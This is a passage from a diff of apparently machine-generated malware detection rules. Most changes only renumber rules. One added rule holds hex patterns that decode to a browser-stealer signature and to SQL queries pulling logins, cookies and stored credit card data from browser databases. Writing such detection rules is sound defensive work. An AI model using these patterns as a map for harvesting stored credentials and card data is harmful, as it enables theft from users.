1)*24944+(#a_00_5 & 1)*66) >=6 } -rule _InfrastructureShared_18731{ +rule _InfrastructureShared_19912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228314,7 +242863,7 @@ rule _InfrastructureShared_18731{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*26223+(#a_66_2 & 1)*23553+(#a_5c_3 & 1)*29287+(#a_01_4 & 1)*5888+(#a_61_5 & 1)*29798+(#a_61_6 & 1)*24940+(#a_6f_7 & 1)*21562+(#a_00_9 & 1)*121) >=10 } -rule _InfrastructureShared_18732{ +rule _InfrastructureShared_19913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228331,7 +242880,7 @@ rule _InfrastructureShared_18732{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*27746+(#a_65_2 & 1)*29285+(#a_6a_3 & 1)*385+(#a_73_4 & 1)*25701+(#a_05_5 & 1)*24909+(#a_00_7 & 1)*46+(#a_1a_8 & 1)*-28672) >=10 } -rule _InfrastructureShared_18733{ +rule _InfrastructureShared_19914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -228344,7 +242893,7 @@ rule _InfrastructureShared_18733{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*58+(#a_00_6 & 1)*105) >=11 } -rule _InfrastructureShared_18734{ +rule _InfrastructureShared_19915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -228363,7 +242912,7 @@ rule _InfrastructureShared_18734{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*25710+(#a_65_2 & 1)*24910+(#a_68_3 & 1)*29281+(#a_49_5 & 1)*2048+(#a_65_6 & 1)*29285+(#a_72_7 & 1)*29793+(#a_65_8 & 1)*29301+(#a_6c_9 & 1)*28500+(#a_00_10 & 1)*111) >=11 } -rule _InfrastructureShared_18735{ +rule _InfrastructureShared_19916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -228383,7 +242932,7 @@ rule _InfrastructureShared_18735{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28486+(#a_75_2 & 1)*29295+(#a_63_3 & 1)*30063+(#a_55_4 & 1)*28525+(#a_02_5 & 1)*-28672+(#a_00_6 & 1)*108+(#a_73_7 & 1)*29283+(#a_53_9 & 1)*8448+(#a_b6_10 & 1)*877+(#a_45_11 & 1)*1025) >=12 } -rule _InfrastructureShared_18736{ +rule _InfrastructureShared_19917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -228393,7 +242942,7 @@ rule _InfrastructureShared_18736{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_18737{ +rule _InfrastructureShared_19918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -228405,7 +242954,7 @@ rule _InfrastructureShared_18737{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*524+(#a_03_2 & 1)*1) >=1 } -rule _InfrastructureShared_18738{ +rule _InfrastructureShared_19919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -228416,7 +242965,7 @@ rule _InfrastructureShared_18738{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28511) >=2 } -rule _InfrastructureShared_18739{ +rule _InfrastructureShared_19920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -228428,7 +242977,7 @@ rule _InfrastructureShared_18739{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*97) >=2 } -rule _InfrastructureShared_18740{ +rule _InfrastructureShared_19921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -228444,7 +242993,7 @@ rule _InfrastructureShared_18740{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*17969+(#a_39_2 & 1)*17712+(#a_44_3 & 1)*17989+(#a_34_4 & 1)*14661+(#a_34_5 & 1)*17718+(#a_72_6 & 1)*27502) >=2 } -rule _InfrastructureShared_18741{ +rule _InfrastructureShared_19922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -228456,7 +243005,7 @@ rule _InfrastructureShared_18741{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*84+(#a_00_2 & 1)*76) >=3 } -rule _InfrastructureShared_18742{ +rule _InfrastructureShared_19923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -228471,7 +243020,7 @@ rule _InfrastructureShared_18742{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_2d_2 & 1)*31277+(#a_90_3 & 1)*11568+(#a_68_4 & 1)*24835+(#a_00_5 & 1)*61) >=3 } -rule _InfrastructureShared_18743{ +rule _InfrastructureShared_19924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -228484,7 +243033,7 @@ rule _InfrastructureShared_18743{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*114+(#a_00_4 & 1)*97+(#a_7d_5 & 1)*656) >=3 } -rule _InfrastructureShared_18744{ +rule _InfrastructureShared_19925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -228500,7 +243049,7 @@ rule _InfrastructureShared_18744{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_73_2 & 1)*25971+(#a_30_3 & 1)*11585+(#a_00_4 & 1)*12865+(#a_00_5 & 1)*101+(#a_39_6 & 1)*12378) >=3 } -rule _InfrastructureShared_18745{ +rule _InfrastructureShared_19926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -228512,7 +243061,7 @@ rule _InfrastructureShared_18745{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*117+(#a_00_3 & 1)*108) >=4 } -rule _InfrastructureShared_18746{ +rule _InfrastructureShared_19927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -228525,7 +243074,7 @@ rule _InfrastructureShared_18746{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*23064+(#a_1a_2 & 1)*4364+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_18747{ +rule _InfrastructureShared_19928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -228538,7 +243087,7 @@ rule _InfrastructureShared_18747{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*18435+(#a_75_3 & 1)*15176+(#a_20_4 & 1)*1540) >=5 } -rule _InfrastructureShared_18748{ +rule _InfrastructureShared_19929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -228554,7 +243103,7 @@ rule _InfrastructureShared_18748{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28526+(#a_65_2 & 1)*29301+(#a_00_3 & 1)*112+(#a_00_4 & 1)*57+(#a_6f_5 & 1)*384+(#a_01_6 & 1)*10240) >=8 } -rule _InfrastructureShared_18749{ +rule _InfrastructureShared_19930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -228570,7 +243119,7 @@ rule _InfrastructureShared_18749{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*28517+(#a_6f_2 & 1)*25970+(#a_5f_3 & 1)*25971+(#a_66_5 & 1)*8448+(#a_77_6 & 1)*26992+(#a_47_7 & 1)*28015) >=8 } -rule _InfrastructureShared_18750{ +rule _InfrastructureShared_19931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -228588,7 +243137,7 @@ rule _InfrastructureShared_18750{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*29295+(#a_72_2 & 1)*20553+(#a_6f_3 & 1)*24421+(#a_61_4 & 1)*28530+(#a_65_5 & 1)*29281+(#a_74_6 & 1)*28499+(#a_00_7 & 1)*25710+(#a_5c_8 & 1)*385) >=9 } -rule _InfrastructureShared_18751{ +rule _InfrastructureShared_19932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -228606,7 +243155,7 @@ rule _InfrastructureShared_18751{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29285+(#a_65_2 & 1)*28520+(#a_65_3 & 1)*29295+(#a_69_4 & 1)*24944+(#a_65_5 & 1)*24942+(#a_64_6 & 1)*29285+(#a_00_7 & 1)*9+(#a_33_8 & 1)*26967) >=9 } -rule _InfrastructureShared_18752{ +rule _InfrastructureShared_19933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -228623,7 +243172,7 @@ rule _InfrastructureShared_18752{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29532+(#a_5c_2 & 1)*25966+(#a_73_3 & 1)*28261+(#a_76_5 & 1)*23605+(#a_5c_6 & 1)*25964+(#a_74_7 & 1)*28018+(#a_44_8 & 1)*29249) >=9 } -rule _InfrastructureShared_18753{ +rule _InfrastructureShared_19934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -228641,7 +243190,7 @@ rule _InfrastructureShared_18753{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25959+(#a_54_2 & 1)*12593+(#a_61_3 & 1)*28271+(#a_74_4 & 1)*25959+(#a_6c_5 & 1)*25928+(#a_2a_6 & 1)*10794+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_18754{ +rule _InfrastructureShared_19935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228659,7 +243208,7 @@ rule _InfrastructureShared_18754{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_2d_2 & 1)*26168+(#a_20_3 & 1)*29281+(#a_6f_4 & 1)*21562+(#a_74_5 & 1)*384+(#a_75_6 & 1)*29541+(#a_73_7 & 1)*25458+(#a_33_9 & 1)*-1536) >=10 } -rule _InfrastructureShared_18755{ +rule _InfrastructureShared_19936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -228673,7 +243222,7 @@ rule _InfrastructureShared_18755{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28500+(#a_51_2 & 1)*14438+(#a_73_3 & 1)*25458+(#a_54_4 & 1)*18467) >=11 } -rule _InfrastructureShared_18756{ +rule _InfrastructureShared_19937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -228683,7 +243232,7 @@ rule _InfrastructureShared_18756{ ((#a_54_0 & 1)*18467) >=11 } -rule _InfrastructureShared_18757{ +rule _InfrastructureShared_19938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 21 " @@ -228696,7 +243245,22 @@ rule _InfrastructureShared_18757{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*80+(#a_00_3 & 1)*50+(#a_00_4 & 1)*51) >=21 } -rule _InfrastructureShared_18758{ +rule _InfrastructureShared_19939{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 08 00 21 " + + strings : + $a_46_0 = {50 57 53 3a 57 69 6e 36 34 2f 42 72 6f 77 73 65 72 53 74 65 61 6c 65 72 00 01 00 25 03 e0 60 88 70 90 09 03 00 c7 90 01 06 c7 90 02 41 f6 11 46 c7 90 01 02 88 95 7d 86 c7 90 01 02 7d d3 67 5b 90 00 01 00 25 03 cf be 3a 46 90 09 } //21283 + $a_90_1 = {06 c7 90 02 0d 41 7f 40 c7 90 01 02 8a f5 0d f3 c7 90 01 02 5a 00 5c c8 90 00 01 00 25 03 af 31 6b 57 90 09 03 00 c7 90 01 06 c7 90 02 69 63 6b 4b c7 90 01 02 85 60 e4 b2 c7 90 01 02 03 a9 7a 8b 90 00 01 00 25 03 1e 86 96 f3 90 09 03 00 c7 90 01 06 c7 90 02 8e 0c 71 4c c7 90 01 02 82 56 2f ae c7 90 01 02 6d 75 9c e9 90 00 01 00 26 03 6c e9 cb 1f 90 09 06 00 c7 90 01 09 c7 90 01 05 97 16 af 43 c7 90 01 05 91 40 28 97 c7 90 01 05 c7 c6 97 67 90 00 01 00 26 03 07 b8 c2 c9 90 09 06 00 c7 90 01 09 c7 90 01 05 31 77 34 4f c7 90 01 05 81 b7 44 ff c7 90 01 05 77 79 52 2b 90 00 19 00 23 02 53 45 4c } //3 + $a_20_2 = {02 64 46 52 4f 4d 20 90 03 06 07 6c 6f 67 69 6e 73 63 6f 6f 6b 69 65 73 3b 90 00 19 00 32 02 53 45 4c 45 43 54 20 90 02 64 46 52 4f 4d 20 90 03 0c 10 63 72 65 64 69 74 5f 63 61 72 64 73 6c 6f 63 61 6c 5f 73 74 6f 72 65 64 5f 63 76 63 3b 90 00 00 00 78 } //17221 + $a_41_5 = {46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 53 68 61 72 } //8448 F:Y2V:Arnim_Rupp/HKTL_NET_GUID_Shar + $a_63_6 = {00 01 00 24 80 01 62 35 39 63 37 37 34 31 2d 64 35 32 32 2d 34 61 34 31 2d 62 66 34 64 2d 39 62 61 64 64 64 65 62 62 38 34 61 01 00 24 80 01 66 64 36 62 64 66 37 61 2d 66 65 66 34 2d 34 62 32 38 2d 39 30 32 37 2d 35 62 66 37 35 30 66 30 38 30 34 38 01 00 24 80 01 36 64 64 32 32 38 38 30 2d } //20592 + $a_35_7 = {34 62 34 64 2d 39 63 39 31 2d 38 63 33 35 63 63 37 62 38 31 38 30 01 00 24 80 01 66 33 30 33 37 35 38 37 2d 31 61 33 62 2d 34 31 66 31 2d 61 61 37 31 2d 62 30 32 36 65 66 64 62 32 61 38 32 01 00 24 80 01 34 31 61 39 30 61 36 61 2d 66 39 65 64 2d 34 61 32 66 2d 38 34 34 38 2d 64 35 34 34 65 63 31 } //24932 + condition: + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*3+(#a_20_2 & 1)*17221+(#a_41_5 & 1)*8448+(#a_63_6 & 1)*20592+(#a_35_7 & 1)*24932) >=52 + +} +rule _InfrastructureShared_19940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -228712,7 +243276,7 @@ rule _InfrastructureShared_18758{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*14434+(#a_61_2 & 1)*11568+(#a_37_3 & 1)*26161+(#a_31_4 & 1)*11577+(#a_69_5 & 1)*12136+(#a_01_6 & 1)*-28672) >=1 } -rule _InfrastructureShared_18759{ +rule _InfrastructureShared_19941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -228726,7 +243290,7 @@ rule _InfrastructureShared_18759{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_01_3 & 1)*-28564+(#a_00_4 & 1)*14637+(#a_00_5 & 1)*32120) >=4 } -rule _InfrastructureShared_18760{ +rule _InfrastructureShared_19942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -228740,7 +243304,7 @@ rule _InfrastructureShared_18760{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*9252+(#a_56_2 & 1)*12365+(#a_24_3 & 1)*9252+(#a_24_4 & 1)*9252) >=5 } -rule _InfrastructureShared_18761{ +rule _InfrastructureShared_19943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -228756,7 +243320,7 @@ rule _InfrastructureShared_18761{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*32+(#a_63_3 & 1)*8300+(#a_41_4 & 1)*12338+(#a_73_5 & 1)*29230+(#a_74_6 & 1)*27765) >=5 } -rule _InfrastructureShared_18762{ +rule _InfrastructureShared_19944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -228772,7 +243336,7 @@ rule _InfrastructureShared_18762{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*14406+(#a_2e_2 & 1)*28001+(#a_54_3 & 1)*9728+(#a_61_4 & 1)*26469+(#a_52_6 & 1)*21320+(#a_79_7 & 1)*24924) >=8 } -rule _InfrastructureShared_18763{ +rule _InfrastructureShared_19945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228790,7 +243354,7 @@ rule _InfrastructureShared_18763{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25966+(#a_00_2 & 1)*29540+(#a_6c_3 & 1)*385+(#a_66_5 & 1)*21249+(#a_69_6 & 1)*29285+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_18764{ +rule _InfrastructureShared_19946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -228807,7 +243371,7 @@ rule _InfrastructureShared_18764{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25928+(#a_73_2 & 1)*25458+(#a_49_4 & 1)*25958+(#a_65_5 & 1)*21551+(#a_74_7 & 1)*18177+(#a_2e_8 & 1)*11877+(#a_35_9 & 1)*13621) >=11 } -rule _InfrastructureShared_18765{ +rule _InfrastructureShared_19947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -228827,7 +243391,7 @@ rule _InfrastructureShared_18765{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*13110+(#a_69_2 & 1)*29779+(#a_63_3 & 1)*30063+(#a_42_4 & 1)*19525+(#a_00_6 & 1)*101+(#a_00_7 & 1)*52+(#a_2f_8 & 1)*400+(#a_74_9 & 1)*26966+(#a_54_10 & 1)*8502+(#a_59_11 & 1)*22873) >=12 } -rule _InfrastructureShared_18766{ +rule _InfrastructureShared_19948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -228842,7 +243406,7 @@ rule _InfrastructureShared_18766{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*117+(#a_00_2 & 1)*48+(#a_00_3 & 1)*52+(#a_2f_4 & 1)*400+(#a_74_5 & 1)*26966) >=15 } -rule _InfrastructureShared_18767{ +rule _InfrastructureShared_19949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -228866,7 +243430,7 @@ rule _InfrastructureShared_18767{ ((#a_54_0 & 1)*18467+(#a_59_2 & 1)*1+(#a_53_3 & 1)*13925+(#a_53_4 & 1)*-32758+(#a_65_5 & 1)*25938+(#a_01_6 & 1)*30720+(#a_73_7 & 1)*25888+(#a_00_8 & 1)*115+(#a_01_9 & 1)*12547+(#a_00_11 & 1)*110+(#a_65_12 & 1)*27759+(#a_4c_13 & 1)*8993+(#a_36_14 & 1)*24932+(#a_00_15 & 1)*102+(#a_00_16 & 1)*99) >=17 } -rule _InfrastructureShared_18768{ +rule _InfrastructureShared_19950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 1a 00 08 00 21 " @@ -228881,7 +243445,7 @@ rule _InfrastructureShared_18768{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*9821+(#a_00_2 & 1)*111+(#a_fb_4 & 1)*-14543+(#a_01_5 & 1)*-15423+(#a_00_7 & 1)*32) >=26 } -rule _InfrastructureShared_18769{ +rule _InfrastructureShared_19951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -228895,7 +243459,7 @@ rule _InfrastructureShared_18769{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_3 & 1)*52+(#a_20_4 & 1)*29795+(#a_23_5 & 1)*6) >=2 } -rule _InfrastructureShared_18770{ +rule _InfrastructureShared_19952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -228908,7 +243472,7 @@ rule _InfrastructureShared_18770{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*80+(#a_00_3 & 1)*108+(#a_00_5 & 1)*114) >=3 } -rule _InfrastructureShared_18771{ +rule _InfrastructureShared_19953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -228921,7 +243485,7 @@ rule _InfrastructureShared_18771{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_64_3 & 1)*28524+(#a_65_4 & 1)*23668) >=4 } -rule _InfrastructureShared_18772{ +rule _InfrastructureShared_19954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228940,7 +243504,7 @@ rule _InfrastructureShared_18772{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27940+(#a_32_2 & 1)*12340+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_7e_5 & 1)*0+(#a_6e_6 & 1)*29793+(#a_5c_7 & 1)*26223+(#a_27_8 & 1)*-32481+(#a_65_9 & 1)*25972) >=10 } -rule _InfrastructureShared_18773{ +rule _InfrastructureShared_19955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228959,7 +243523,7 @@ rule _InfrastructureShared_18773{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24898+(#a_74_2 & 1)*14385+(#a_74_3 & 1)*28265+(#a_65_4 & 1)*25189+(#a_6f_5 & 1)*23592+(#a_73_6 & 1)*28274+(#a_69_7 & 1)*21852+(#a_3a_8 & 1)*19521+(#a_66_9 & 1)*29441) >=10 } -rule _InfrastructureShared_18774{ +rule _InfrastructureShared_19956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -228978,7 +243542,7 @@ rule _InfrastructureShared_18774{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*385+(#a_73_2 & 1)*25959+(#a_6f_3 & 1)*25449+(#a_74_4 & 1)*28261+(#a_38_5 & 1)*13825+(#a_00_6 & 1)*0+(#a_34_7 & 1)*17462+(#a_01_8 & 1)*-28621+(#a_43_9 & 1)*13366) >=10 } -rule _InfrastructureShared_18775{ +rule _InfrastructureShared_19957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0d 00 21 " @@ -228997,7 +243561,7 @@ rule _InfrastructureShared_18775{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_01_4 & 1)*-28608+(#a_38_5 & 1)*14388+(#a_06_6 & 1)*5120+(#a_73_8 & 1)*257+(#a_40_9 & 1)*8960+(#a_43_10 & 1)*17205+(#a_90_11 & 1)*13113+(#a_65_12 & 1)*24943) >=11 } -rule _InfrastructureShared_18776{ +rule _InfrastructureShared_19958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -229017,7 +243581,7 @@ rule _InfrastructureShared_18776{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25445+(#a_5c_3 & 1)*385+(#a_72_4 & 1)*23662+(#a_00_5 & 1)*1+(#a_2f_6 & 1)*18771+(#a_5c_7 & 1)*19539+(#a_00_8 & 1)*97+(#a_72_9 & 1)*28531+(#a_4d_10 & 1)*16686+(#a_03_11 & 1)*-28511) >=12 } -rule _InfrastructureShared_18777{ +rule _InfrastructureShared_19959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -229035,7 +243599,7 @@ rule _InfrastructureShared_18777{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*17500+(#a_00_2 & 1)*116+(#a_65_4 & 1)*17153+(#a_03_5 & 1)*-28509+(#a_01_6 & 1)*3467+(#a_00_7 & 1)*107+(#a_00_8 & 1)*51+(#a_00_9 & 1)*117) >=19 } -rule _InfrastructureShared_18778{ +rule _InfrastructureShared_19960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -229048,7 +243612,7 @@ rule _InfrastructureShared_18778{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400+(#a_00_2 & 1)*400+(#a_0d_3 & 1)*3) >=2 } -rule _InfrastructureShared_18779{ +rule _InfrastructureShared_19961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -229070,7 +243634,7 @@ rule _InfrastructureShared_18779{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*30821+(#a_6c_2 & 1)*25711+(#a_2d_3 & 1)*14401+(#a_61_4 & 1)*29295+(#a_00_6 & 1)*83+(#a_39_7 & 1)*12378+(#a_6e_8 & 1)*26995+(#a_6f_9 & 1)*21562+(#a_61_10 & 1)*8307+(#a_01_11 & 1)*28521+(#a_6e_12 & 1)*25089+(#a_69_13 & 1)*25972) >=2 } -rule _InfrastructureShared_18780{ +rule _InfrastructureShared_19962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -229084,7 +243648,7 @@ rule _InfrastructureShared_18780{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_39_2 & 1)*12378+(#a_6f_3 & 1)*28265+(#a_41_4 & 1)*11617) >=3 } -rule _InfrastructureShared_18781{ +rule _InfrastructureShared_19963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -229104,7 +243668,7 @@ rule _InfrastructureShared_18781{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*31084+(#a_6e_2 & 1)*27680+(#a_01_3 & 1)*28521+(#a_6e_4 & 1)*25089+(#a_69_5 & 1)*25972+(#a_30_6 & 1)*29295+(#a_5b_7 & 1)*8192+(#a_64_8 & 1)*16672+(#a_2e_10 & 1)*23553+(#a_56_11 & 1)*22842) >=3 } -rule _InfrastructureShared_18782{ +rule _InfrastructureShared_19964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -229122,7 +243686,7 @@ rule _InfrastructureShared_18782{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28257+(#a_74_2 & 1)*21348+(#a_5c_3 & 1)*3840+(#a_70_4 & 1)*28764+(#a_75_5 & 1)*17711+(#a_00_7 & 1)*101+(#a_2d_8 & 1)*2305+(#a_00_10 & 1)*41) >=4 } -rule _InfrastructureShared_18783{ +rule _InfrastructureShared_19965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -229134,7 +243698,7 @@ rule _InfrastructureShared_18783{ ((#a_46_0 & 1)*16675+(#a_2c_2 & 1)*108+(#a_52_4 & 1)*12800) >=5 } -rule _InfrastructureShared_18784{ +rule _InfrastructureShared_19966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -229149,7 +243713,7 @@ rule _InfrastructureShared_18784{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_41_3 & 1)*11568+(#a_44_4 & 1)*11520+(#a_74_5 & 1)*25972) >=6 } -rule _InfrastructureShared_18785{ +rule _InfrastructureShared_19967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -229166,7 +243730,7 @@ rule _InfrastructureShared_18785{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24933+(#a_65_2 & 1)*23653+(#a_64_3 & 1)*25953+(#a_5c_4 & 1)*25454+(#a_00_5 & 1)*25955+(#a_70_6 & 1)*18945+(#a_73_7 & 1)*25458) >=8 } -rule _InfrastructureShared_18786{ +rule _InfrastructureShared_19968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -229186,7 +243750,7 @@ rule _InfrastructureShared_18786{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28018+(#a_6f_2 & 1)*11897+(#a_62_3 & 1)*29300+(#a_6d_5 & 1)*29811+(#a_29_6 & 